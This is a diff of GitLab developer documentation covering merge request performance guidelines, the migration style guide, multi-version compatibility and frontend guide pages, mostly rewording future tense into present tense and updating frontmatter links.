--- a/doc/development/merge_request_performance_guidelines.md
+++ b/doc/development/merge_request_performance_guidelines.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge Request Performance Guidelines
@@ -46,8 +46,8 @@ and running.
Can the queries used potentially take down any critical services and result in
engineers being woken up in the night? Can a malicious user abuse the code to
-take down a GitLab instance? Will my changes simply make loading a certain page
-slower? Will execution time grow exponentially given enough load or data in the
+take down a GitLab instance? Do my changes simply make loading a certain page
+slower? Does execution time grow exponentially given enough load or data in the
database?
These are all questions one should ask themselves before submitting a merge
@@ -67,14 +67,14 @@ in turn can request a performance specialist to review the changes.
## Think outside of the box
-Everyone has their own perception how the new feature is going to be used.
+Everyone has their own perception of how to use the new feature.
Always consider how users might be using the feature instead. Usually,
users test our features in a very unconventional way,
like by brute forcing or abusing edge conditions that we have.
## Data set
-The data set that will be processed by the merge request should be known
+The data set the merge request processes should be known
and documented. The feature should clearly document what the expected
data set is for this feature to process, and what problems it might cause.
@@ -86,8 +86,8 @@ from the repository and perform search for the set of files.
As an author you should in context of that problem consider
the following:
-1. What repositories are going to be supported?
-1. How long it will take for big repositories like Linux kernel?
+1. What repositories are planned to be supported?
+1. How long it do big repositories like Linux kernel take?
1. Is there something that we can do differently to not process such a
big data set?
1. Should we build some fail-safe mechanism to contain
@@ -96,28 +96,28 @@ the following:
## Query plans and database structure
-The query plan can tell us if we will need additional
+The query plan can tell us if we need additional
indexes, or expensive filtering (such as using sequential scans).
Each query plan should be run against substantial size of data set.
For example, if you look for issues with specific conditions,
you should consider validating a query against
a small number (a few hundred) and a big number (100_000) of issues.
-See how the query will behave if the result will be a few
+See how the query behaves if the result is a few
and a few thousand.
This is needed as we have users using GitLab for very big projects and
in a very unconventional way. Even if it seems that it's unlikely
-that such a big data set will be used, it's still plausible that one
-of our customers will encounter a problem with the feature.
+that such a big data set is used, it's still plausible that one
+of our customers could encounter a problem with the feature.
-Understanding ahead of time how it's going to behave at scale, even if we accept it,
-is the desired outcome. We should always have a plan or understanding of what it will take
+Understanding ahead of time how it behaves at scale, even if we accept it,
+is the desired outcome. We should always have a plan or understanding of what is needed
to optimize the feature for higher usage patterns.
Every database structure should be optimized and sometimes even over-described
in preparation for easy extension. The hardest part after some point is
-data migration. Migrating millions of rows will always be troublesome and
+data migration. Migrating millions of rows is always troublesome and
can have a negative impact on the application.
To better understand how to get help with the query plan reviews
@@ -130,7 +130,7 @@ queries unless absolutely necessary.
The total number of queries executed by the code modified or added by a merge request
must not increase unless absolutely necessary. When building features it's
-entirely possible you will need some extra queries, but you should try to keep
+entirely possible you need some extra queries, but you should try to keep
this at a minimum.
As an example, say you introduce a feature that updates a number of database
@@ -144,7 +144,7 @@ objects_to_update.each do |object|
end
```
-This will end up running one query for every object to update. This code can
+This means running one query for every object to update. This code can
easily overload a database given enough rows to update or many instances of this
code running in parallel. This particular problem is known as the
["N+1 query problem"](https://guides.rubyonrails.org/active_record_querying.html#eager-loading-associations). You can write a test with [QueryRecorder](query_recorder.md) to detect this and prevent regressions.
@@ -162,11 +162,11 @@ query. This in turn makes it much harder for this code to overload a database.
**Summary:** a merge request **should not** execute duplicated cached queries.
-Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines),
-used to cache the results of database queries for the duration of the request.
+Rails provides an [SQL Query Cache](cached_queries.md#cached-queries-guidelines),
+used to cache the results of database queries for the duration of the request.
-See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and
-[how to detect them](cached_queries.md#how-to-detect).
+See [why cached queries are considered bad](cached_queries.md#why-cached-queries-are-considered-bad) and
+[how to detect them](cached_queries.md#how-to-detect-cached-queries).
The code introduced by a merge request, should not execute multiple duplicated cached queries.
@@ -189,8 +189,8 @@ build.project == pipeline_project
# => true
```
-When we call `build.project`, it will not hit the database, it will use the cached result, but it will re-instantiate
-same pipeline project object. It turns out that associated objects do not point to the same in-memory object.
+When we call `build.project`, it doesn't hit the database, it uses the cached result, but it re-instantiates
+the same pipeline project object. It turns out that associated objects do not point to the same in-memory object.
If we try to serialize each build:
@@ -200,7 +200,7 @@ pipeline.builds.each do |build|
end
```
-It will re-instantiate project object for each build, instead of using the same in-memory object.
+It re-instantiates project object for each build, instead of using the same in-memory object.
In this particular case the workaround is fairly easy:
@@ -212,7 +212,7 @@ end
```
We can assign `pipeline.project` to each `build.project`, since we know it should point to the same project.
-This will allow us that each build point to the same in-memory project,
+This allows us that each build point to the same in-memory project,
avoiding the cached SQL query and re-instantiation of the project object for each build.
## Executing Queries in Loops
@@ -323,7 +323,7 @@ Certain UI elements may not always be needed. For example, when hovering over a
diff line there's a small icon displayed that can be used to create a new
comment. Instead of always rendering these kind of elements they should only be
rendered when actually needed. This ensures we don't spend time generating
-Haml/HTML when it's not going to be used.
+Haml/HTML when it's not used.
## Instrumenting New Code
@@ -411,8 +411,8 @@ The quota should be optimised to a level that we consider the feature to
be performant and usable for the user, but **not limiting**.
**We want the features to be fully usable for the users.**
-**However, we want to ensure that the feature will continue to perform well if used at its limit**
-**and it won't cause availability issues.**
+**However, we want to ensure that the feature continues to perform well if used at its limit**
+**and it doesn't cause availability issues.**
Consider that it's always better to start with some kind of limitation,
instead of later introducing a breaking change that would result in some
@@ -433,11 +433,11 @@ The intent of quotas could be different:
Examples:
-1. Pipeline Schedules: It's very unlikely that user will want to create
+1. Pipeline Schedules: It's very unlikely that user wants to create
more than 50 schedules.
In such cases it's rather expected that this is either misuse
or abuse of the feature. Lack of the upper limit can result
- in service degradation as the system will try to process all schedules
+ in service degradation as the system tries to process all schedules
assigned the project.
1. GitLab CI/CD includes: We started with the limit of maximum of 50 nested includes.
@@ -477,7 +477,7 @@ We can consider the following types of storages:
for most of our implementations. Even though this allows the above limit to be significantly larger,
it does not really mean that you can use more. The shared temporary storage is shared by
all nodes. Thus, the job that uses significant amount of that space or performs a lot
- of operations will create a contention on execution of all other jobs and request
+ of operations creates a contention on execution of all other jobs and request
across the whole application, this can easily impact stability of the whole GitLab.
Be respectful of that.
diff --git a/doc/development/migration_style_guide.md b/doc/development/migration_style_guide.md
index 84679a78545..8cdfbd558ca 100644
--- a/doc/development/migration_style_guide.md
+++ b/doc/development/migration_style_guide.md
@@ -1,13 +1,13 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Migration Style Guide
When writing migrations for GitLab, you have to take into account that
-these will be run by hundreds of thousands of organizations of all sizes, some with
+these are run by hundreds of thousands of organizations of all sizes, some with
many years of data in their database.
In addition, having to take a server offline for an upgrade small or big is a
@@ -44,15 +44,15 @@ and post-deployment migrations (`db/post_migrate`) are run after the deployment
Changes to the schema should be committed to `db/structure.sql`. This
file is automatically generated by Rails, so you normally should not
edit this file by hand. If your migration is adding a column to a
-table, that column will be added at the bottom. Please do not reorder
-columns manually for existing tables as this will cause confusion to
+table, that column is added at the bottom. Please do not reorder
+columns manually for existing tables as this causes confusion to
other people using `db/structure.sql` generated by Rails.
When your local database in your GDK is diverging from the schema from
`master` it might be hard to cleanly commit the schema changes to
Git. In that case you can use the `scripts/regenerate-schema` script to
regenerate a clean `db/structure.sql` for the migrations you're
-adding. This script will apply all migrations found in `db/migrate`
+adding. This script applies all migrations found in `db/migrate`
or `db/post_migrate`, so if there are any migrations you don't want to
commit to the schema, rename or remove them. If your branch is not
targeting `master` you can set the `TARGET` environment variable.
@@ -80,7 +80,7 @@ and whether they require downtime and how to work around that whenever possible.
Every migration must specify if it requires downtime or not, and if it should
require downtime it must also specify a reason for this. This is required even
-if 99% of the migrations won't require downtime as this makes it easier to find
+if 99% of the migrations don't require downtime as this makes it easier to find
the migrations that _do_ require downtime.
To tag a migration, add the following two constants to the migration class'
@@ -104,7 +104,7 @@ class MyMigration < ActiveRecord::Migration[6.0]
end
```
-It is an error (that is, CI will fail) if the `DOWNTIME` constant is missing
+It is an error (that is, CI fails) if the `DOWNTIME` constant is missing
from a migration class.
## Reversibility
@@ -136,7 +136,7 @@ By default, migrations are single transaction. That is, a transaction is opened
at the beginning of the migration, and committed after all steps are processed.
Running migrations in a single transaction makes sure that if one of the steps fails,
-none of the steps will be executed, leaving the database in valid state.
+none of the steps are executed, leaving the database in valid state.
Therefore, either:
- Put all migrations in one single-transaction migration.
@@ -146,15 +146,16 @@ Therefore, either:
For example, if you create an empty table and need to build an index for it,
it is recommended to use a regular single-transaction migration and the default
rails schema statement: [`add_index`](https://api.rubyonrails.org/v5.2/classes/ActiveRecord/ConnectionAdapters/SchemaStatements.html#method-i-add_index).
-This is a blocking operation, but it won't cause problems because the table is not yet used,
+This is a blocking operation, but it doesn't cause problems because the table is not yet used,
and therefore it does not have any records yet.
## Heavy operations in a single transaction
-When using a single-transaction migration, a transaction will hold on a database connection
+When using a single-transaction migration, a transaction holds a database connection
for the duration of the migration, so you must make sure the actions in the migration
-do not take too much time: In general, queries executed in a migration need to fit comfortably
-within `15s` on GitLab.com.
+do not take too much time: GitLab.com’s production database has a `15s` timeout, so
+in general, the cumulative execution time in a migration should aim to fit comfortably
+in that limit. Singular query timings should fit within the [standard limit](query_performance.md#timing-guidelines-for-queries)
In case you need to insert, update, or delete a significant amount of data, you:
@@ -182,8 +183,8 @@ on the `users` table once it has been enqueued.
More information about PostgresSQL locks: [Explicit Locking](https://www.postgresql.org/docs/current/explicit-locking.html)
For stability reasons, GitLab.com has a specific [`statement_timeout`](../user/gitlab_com/index.md#postgresql)
-set. When the migration is invoked, any database query will have
-a fixed time to execute. In a worst-case scenario, the request will sit in the
+set. When the migration is invoked, any database query has
+a fixed time to execute. In a worst-case scenario, the request sits in the
lock queue, blocking other queries for the duration of the configured statement timeout,
then failing with `canceling statement due to statement timeout` error.
@@ -274,7 +275,7 @@ end
**Creating a new table when we have two foreign keys:**
-For this, we'll need three migrations:
+For this, we need three migrations:
1. Creating the table without foreign keys (with the indices).
1. Add foreign key to the first table.
@@ -354,7 +355,7 @@ def up
end
```
-The RuboCop rule generally allows standard Rails migration methods, listed below. This example will cause a Rubocop offense:
+The RuboCop rule generally allows standard Rails migration methods, listed below. This example causes a Rubocop offense:
```ruby
disable_ddl_transaction!
@@ -399,9 +400,9 @@ In a worst-case scenario, the method:
- Executes the block for a maximum of 50 times over 40 minutes.
- Most of the time is spent in a pre-configured sleep period after each iteration.
-- After the 50th retry, the block will be executed without `lock_timeout`, just
+- After the 50th retry, the block is executed without `lock_timeout`, just
like a standard migration invocation.
-- If a lock cannot be acquired, the migration will fail with `statement timeout` error.
+- If a lock cannot be acquired, the migration fails with `statement timeout` error.
The migration might fail if there is a very long running transaction (40+ minutes)
accessing the `users` table.
@@ -437,9 +438,9 @@ class MyMigration < ActiveRecord::Migration[6.0]
end
```
-Here the call to `disable_statement_timeout` will use the connection local to
+Here the call to `disable_statement_timeout` uses the connection local to
the `with_multiple_threads` block, instead of re-using the global connection
-pool. This ensures each thread has its own connection object, and won't time
+pool. This ensures each thread has its own connection object, and doesn't time
out when trying to obtain one.
PostgreSQL has a maximum amount of connections that it allows. This
@@ -461,8 +462,9 @@ class MyMigration < ActiveRecord::Migration[6.0]
include Gitlab::Database::MigrationHelpers
disable_ddl_transaction!
+ INDEX_NAME = 'index_name'
def up
- remove_concurrent_index :table_name, :column_name, name: :index_name
+ remove_concurrent_index :table_name, :column_name, name: INDEX_NAME
end
end
```
@@ -582,7 +584,7 @@ remember to add an index on the column.
This is **required** for all foreign-keys, e.g., to support efficient cascading
deleting: when a lot of rows in a table get deleted, the referenced records need
to be deleted too. The database has to look for corresponding records in the
-referenced table. Without an index, this will result in a sequential scan on the
+referenced table. Without an index, this results in a sequential scan on the
table, which can take a long time.
Here's an example where we add a new column with a foreign key
@@ -620,7 +622,7 @@ the standard `add_column` helper should be used in all cases.
Before PostgreSQL 11, adding a column with a default was problematic as it would
have caused a full table rewrite. The corresponding helper `add_column_with_default`
-has been deprecated and will be removed in a later release.
+has been deprecated and is scheduled to be removed in a later release.
If a backport adding a column with a default value is needed for %12.9 or earlier versions,
it should use `add_column_with_default` helper. If a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3)
@@ -656,7 +658,7 @@ In this particular case, the default value exists and we're just changing the me
`request_access_enabled` column, which does not imply a rewrite of all the existing records
in the `namespaces` table. Only when creating a new column with a default, all the records are going be rewritten.
-NOTE: **Note:**
+NOTE:
A faster [ALTER TABLE ADD COLUMN with a non-null default](https://www.depesz.com/2018/04/04/waiting-for-postgresql-11-fast-alter-table-add-column-with-a-non-null-default/)
was introduced on PostgresSQL 11.0, removing the need of rewriting the table when a new column with a default value is added.
@@ -666,7 +668,7 @@ without requiring `disable_ddl_transaction!`.
## Updating an existing column
To update an existing column to a particular value, you can use
-`update_column_in_batches`. This will split the updates into batches, so we
+`update_column_in_batches`. This splits the updates into batches, so we
don't update too many rows at in a single statement.
This updates the column `foo` in the `projects` table to 10, where `some_column`
@@ -781,12 +783,12 @@ end
## Integer column type
By default, an integer column can hold up to a 4-byte (32-bit) number. That is
-a max value of 2,147,483,647. Be aware of this when creating a column that will
-hold file sizes in byte units. If you are tracking file size in bytes, this
+a max value of 2,147,483,647. Be aware of this when creating a column that
+holds file sizes in byte units. If you are tracking file size in bytes, this
restricts the maximum file size to just over 2GB.
To allow an integer column to hold up to an 8-byte (64-bit) number, explicitly
-set the limit to 8-bytes. This will allow the column to hold a value up to
+set the limit to 8-bytes. This allows the column to hold a value up to
`9,223,372,036,854,775,807`.
Rails migration example:
@@ -836,7 +838,7 @@ timestamps with timezones:
- `datetime_with_timezone`
This ensures all timestamps have a time zone specified. This, in turn, means
-existing timestamps won't suddenly use a different timezone when the system's
+existing timestamps don't suddenly use a different timezone when the system's
timezone changes. It also makes it very clear which timezone was used in the
first place.
@@ -937,19 +939,17 @@ Since we had to do this a few times already, there are now some helpers to help
with this.
To use this you can include `Gitlab::Database::RenameReservedPathsMigration::V1`
-in your migration. This will provide 3 methods which you can pass one or more
+in your migration. This provides 3 methods which you can pass one or more
paths that need to be rejected.
-**`rename_root_paths`**: This will rename the path of all _namespaces_ with the
+- **`rename_root_paths`**: Renames the path of all _namespaces_ with the
given name that don't have a `parent_id`.
-
-**`rename_child_paths`**: This will rename the path of all _namespaces_ with the
+- **`rename_child_paths`**: Renames the path of all _namespaces_ with the
given name that have a `parent_id`.
-
-**`rename_wildcard_paths`**: This will rename the path of all _projects_, and all
+- **`rename_wildcard_paths`**: Renames the path of all _projects_, and all
_namespaces_ that have a `project_id`.
-The `path` column for these rows will be renamed to their previous value followed
+The `path` column for these rows are renamed to their previous value followed
by an integer. For example: `users` would turn into `users0`
## Using models in migrations (discouraged)
diff --git a/doc/development/module_with_instance_variables.md b/doc/development/module_with_instance_variables.md
index 80e926f800c..75575105178 100644
--- a/doc/development/module_with_instance_variables.md
+++ b/doc/development/module_with_instance_variables.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Modules with instance variables could be considered harmful
@@ -121,7 +121,7 @@ module Gitlab
end
```
-Now the cop won't complain. Here's a bad example which we could rewrite:
+Now the cop doesn't complain. Here's a bad example which we could rewrite:
``` ruby
module SpamCheckService
@@ -213,14 +213,14 @@ module M
end
```
-Note that you need to enable it at some point, otherwise everything below
-won't be checked.
+Note that you need to enable it at some point, otherwise nothing below
+that point is checked.
## Things we might need to ignore right now
Because of the way Rails helpers and mailers work, we might not be able to
avoid the use of instance variables there. For those cases, we could ignore
-them at the moment. At least we're not going to share those modules with
+them at the moment. Those modules are not shared with
other random objects, so they're still somewhat isolated.
## Instance variables in views
diff --git a/doc/development/multi_version_compatibility.md b/doc/development/multi_version_compatibility.md
index 2501f8a169f..25f4b3b5699 100644
--- a/doc/development/multi_version_compatibility.md
+++ b/doc/development/multi_version_compatibility.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Compatibility with multiple versions of the application running at the same time
@@ -21,7 +21,7 @@ We must make sure that the application works properly in these states.
For GitLab.com, we also run a set of canary servers which run a more recent version of the application. Users with
the canary cookie set would be handled by these servers. Some URL patterns may also be forced to the canary servers,
even without the cookie being set. This also means that some pages may match the pattern and get handled by canary servers,
-but AJAX requests to URLs (like the GraphQL endpoint) won't match the pattern.
+but AJAX requests to URLs (like the GraphQL endpoint) fail to match the pattern.
With this canary setup, we'd be in this mixed-versions state for an extended period of time until canary is promoted to
production and post-deployment migrations run.
@@ -38,7 +38,7 @@ default. The feature flag can be enabled when the deployment is in a
consistent state. However, this method of synchronization doesn't
guarantee that customers with on-premise instances can [upgrade with
zero downtime](https://docs.gitlab.com/omnibus/update/#zero-downtime-updates)
-since point releases bundle many changes together. Minimizing the time
+because point releases bundle many changes together. Minimizing the time
between when versions are out of sync across the fleet may help mitigate
errors caused by upgrades.
@@ -70,7 +70,7 @@ This type of change may look like an immediate switch between the two implementa
especially with the canary stage, there is an extended period of time where both version of the code
coexists in production.
-1. **expand**: a new route is added, pointing to the same controller as the old one. But nothing in the application will generate links for the new routes.
+1. **expand**: a new route is added, pointing to the same controller as the old one. But nothing in the application generates links for the new routes.
1. **migrate**: now that every machine in the fleet can understand the new route, we can generate links with the new routing.
1. **contract**: the old route can be safely removed. (If the old route was likely to be widely shared, like the link to a repository file, we might want to add redirects and keep the old route for a longer period.)
@@ -84,12 +84,12 @@ When we need to add a new parameter to a Sidekiq worker class, we can split this
1. **migrate**: we add the new parameter to all the invocations of the worker.
1. **contract**: we remove the default value.
-At a first look, it may seem safe to bundle expand and migrate into a single milestone, but this will cause an outage if Puma restarts before Sidekiq.
+At a first look, it may seem safe to bundle expand and migrate into a single milestone, but this causes an outage if Puma restarts before Sidekiq.
Puma enqueues jobs with an extra parameter that the old Sidekiq cannot handle.
### Database migrations
-The following graph is a simplified visual representation of a deployment, this will guide us in understanding how expand and contract is implemented in our migrations strategy.
+The following graph is a simplified visual representation of a deployment, this guides us in understanding how expand and contract is implemented in our migrations strategy.
There's a special consideration here. Using our post-deployment migrations framework allows us to bundle all three phases into one milestone.
@@ -134,12 +134,12 @@ And these deployments align perfectly with application changes.
With all those details in mind, let's imagine we need to replace a query, and this query has an index to support it.
-1. **expand**: this is the from `Schema A` to `Schema B` deployment. We add the new index, but the application will ignore it for now
-1. **migrate**: this is the `Version N` to `Version N+1` application deployment. The new code is deployed, at this point in time only the new query will run.
+1. **expand**: this is the from `Schema A` to `Schema B` deployment. We add the new index, but the application ignores it for now.
+1. **migrate**: this is the `Version N` to `Version N+1` application deployment. The new code is deployed, at this point in time only the new query runs.
1. **contract**: from `Schema B` to `Schema C` (post-deployment migration). Nothing uses the old index anymore, we can safely remove it.
-This is only an example. More complex migrations, especially when background migrations are needed will
-still require more than one milestone. For details please refer to our [migration style guide](migration_style_guide.md).
+This is only an example. More complex migrations, especially when background migrations are needed may
+require more than one milestone. For details please refer to our [migration style guide](migration_style_guide.md).
## Examples of previous incidents
diff --git a/doc/development/namespaces_storage_statistics.md b/doc/development/namespaces_storage_statistics.md
index b4a7c8c3132..373b1e38dfc 100644
--- a/doc/development/namespaces_storage_statistics.md
+++ b/doc/development/namespaces_storage_statistics.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Database case study: Namespaces storage statistics
@@ -33,7 +33,7 @@ Additionally, the pattern that is currently used to update the project statistic
(the callback) doesn't scale adequately. It is currently one of the largest
[database queries transactions on production](https://gitlab.com/gitlab-org/gitlab/-/issues/29070)
that takes the most time overall. We can't add one more query to it as
-it will increase the transaction's length.
+it increases the transaction's length.
Because of all of the above, we can't apply the same pattern to store
and update the namespaces statistics, as the `namespaces` table is one
@@ -137,12 +137,12 @@ WHERE namespace_id IN (
Even though this approach would make aggregating much easier, it has some major downsides:
-- We'd have to migrate **all namespaces** by adding and filling a new column. Because of the size of the table, dealing with time/cost will not be great. The background migration will take approximately `153h`, see <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29772>.
+- We'd have to migrate **all namespaces** by adding and filling a new column. Because of the size of the table, dealing with time/cost would be significant. The background migration would take approximately `153h`, see <https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/29772>.
- Background migration has to be shipped one release before, delaying the functionality by another milestone.
### Attempt E (final): Update the namespace storage statistics in async way
-This approach consists of keep using the incremental statistics updates we currently already have,
+This approach consists of continuing to use the incremental statistics updates we already have,
but we refresh them through Sidekiq jobs and in different transactions:
1. Create a second table (`namespace_aggregation_schedules`) with two columns `id` and `namespace_id`.
diff --git a/doc/development/new_fe_guide/dependencies.md b/doc/development/new_fe_guide/dependencies.md
index fad004f9df5..6db3b401025 100644
--- a/doc/development/new_fe_guide/dependencies.md
+++ b/doc/development/new_fe_guide/dependencies.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dependencies
diff --git a/doc/development/new_fe_guide/development/accessibility.md b/doc/development/new_fe_guide/development/accessibility.md
index 1189dd1137b..81f3773dd5c 100644
--- a/doc/development/new_fe_guide/development/accessibility.md
+++ b/doc/development/new_fe_guide/development/accessibility.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Accessibility
@@ -42,7 +42,7 @@ In forms we should use the `for` attribute in the label statement:
## Testing
-1. On MacOS you can use [VoiceOver](https://www.apple.com/accessibility/mac/vision/) by pressing `cmd+F5`.
+1. On MacOS you can use [VoiceOver](http://www.apple.com/accessibility/vision/) by pressing `cmd+F5`.
1. On Windows you can use [Narrator](https://www.microsoft.com/en-us/accessibility/windows) by pressing Windows logo key + Control + Enter.
## Online resources
diff --git a/doc/development/new_fe_guide/development/components.md b/doc/development/new_fe_guide/development/components.md
index 1597d4e62e7..1d56419028e 100644
--- a/doc/development/new_fe_guide/development/components.md
+++ b/doc/development/new_fe_guide/development/components.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Components
diff --git a/doc/development/new_fe_guide/development/index.md b/doc/development/new_fe_guide/development/index.md
index 52435ca719d..5922c3aeeed 100644
--- a/doc/development/new_fe_guide/development/index.md
+++ b/doc/development/new_fe_guide/development/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Development
diff --git a/doc/development/new_fe_guide/development/performance.md b/doc/development/new_fe_guide/development/performance.md
index 44f5bccde95..8ae503ec709 100644
--- a/doc/development/new_fe_guide/development/performance.md
+++ b/doc/development/new_fe_guide/development/performance.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Performance
@@ -11,7 +11,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
We have a performance dashboard available in one of our [Grafana instances](https://dashboards.gitlab.net/d/1EBTz3Dmz/sitespeed-page-summary?orgId=1). This dashboard automatically aggregates metric data from [sitespeed.io](https://www.sitespeed.io/) every 6 hours. These changes are displayed after a set number of pages are aggregated.
These pages can be found inside a text file in the [`gitlab-build-images` repository](https://gitlab.com/gitlab-org/gitlab-build-images) called [`gitlab.txt`](https://gitlab.com/gitlab-org/gitlab-build-images/blob/master/scripts/gitlab.txt)
-Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes will go live on the next scheduled run after the changes are merged into `master`.
+Any frontend engineer can contribute to this dashboard. They can contribute by adding or removing URLs of pages from this text file. Please have a [frontend monitoring expert](https://about.gitlab.com/company/team/) review your changes before assigning to a maintainer of the `gitlab-build-images` project. The changes are pushed live on the next scheduled run after the changes are merged into `master`.
There are 3 recommended high impact metrics to review on each page:
diff --git a/doc/development/new_fe_guide/development/testing.md b/doc/development/new_fe_guide/development/testing.md
index b990425ca3c..034324989ef 100644
--- a/doc/development/new_fe_guide/development/testing.md
+++ b/doc/development/new_fe_guide/development/testing.md
@@ -3,3 +3,6 @@ redirect_to: '../../testing_guide/frontend_testing.md'
---
This document was moved to [another location](../../testing_guide/frontend_testing.md).
+
+<!-- This redirect file can be deleted after February 1, 2021. -->
+<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page -->
diff --git a/doc/development/new_fe_guide/index.md b/doc/development/new_fe_guide/index.md
index c9b655c2274..a62ea53de9f 100644
--- a/doc/development/new_fe_guide/index.md
+++ b/doc/development/new_fe_guide/index.md
@@ -1,12 +1,12 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Frontend Development Guidelines
-This guide contains all the information to successfully contribute to GitLab's frontend.
+This guide contains all the information to successfully contribute to the GitLab frontend.
This is a living document, and we welcome contributions, feedback, and suggestions.
## [Development](development/index.md)
diff --git a/doc/development/new_fe_guide/modules/dirty_submit.md b/doc/development/new_fe_guide/modules/dirty_submit.md
index 17cdab3f240..f9ef96c65dc 100644
--- a/doc/development/new_fe_guide/modules/dirty_submit.md
+++ b/doc/development/new_fe_guide/modules/dirty_submit.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Dirty Submit
diff --git a/doc/development/new_fe_guide/modules/index.md b/doc/development/new_fe_guide/modules/index.md
index 18c5b05432c..a9bdcda4a2d 100644
--- a/doc/development/new_fe_guide/modules/index.md
+++ b/doc/development/new_fe_guide/modules/index.md
@@ -1,7 +1,7 @@
---
stage: none
group: unassigned
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Modules
diff --git a/doc/development/new_fe_guide/modules/widget_extensions.md b/doc/development/new_fe_guide/modules/widget_extensions.md
index 3844fedb126..ffcd736511a 100644
--- a/doc/development/new_fe_guide/modules/widget_extensions.md
+++ b/doc/development/new_fe_guide/modules/widget_extensions.md
@@ -1,7 +1,7 @@
---
stage: Create
group: Source Code
-info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
# Merge request widget extensions
@@ -17,7 +17,7 @@ into the widget that will match the existing design and interaction as other ext
To use extensions you need to first create a new extension object that will be used to fetch the
data that will be rendered in the extension. See the example file in
-app/assets/javascripts/vue_merge_request_widget/extensions/issues.js for a working example.
+`app/assets/javascripts/vue_merge_request_widget/extensions/issues.js` for a working example.
The basic object structure is as below:
diff --git a/doc/development/new_fe_guide/style/html.md b/doc/development/new_fe_guide/style/html.md
index 0b4fce13d90..afbfbdcf834 100644
--- a/doc/development/new_fe_guide/style/html.md
+++ b/doc/development/new_fe_guide/style/html.md
@@ -3,3 +3,6 @@ redirect_to: '../../fe_guide/style/html.md'
---
This document was moved to [another location](../../fe_guide/style/html.md).
+
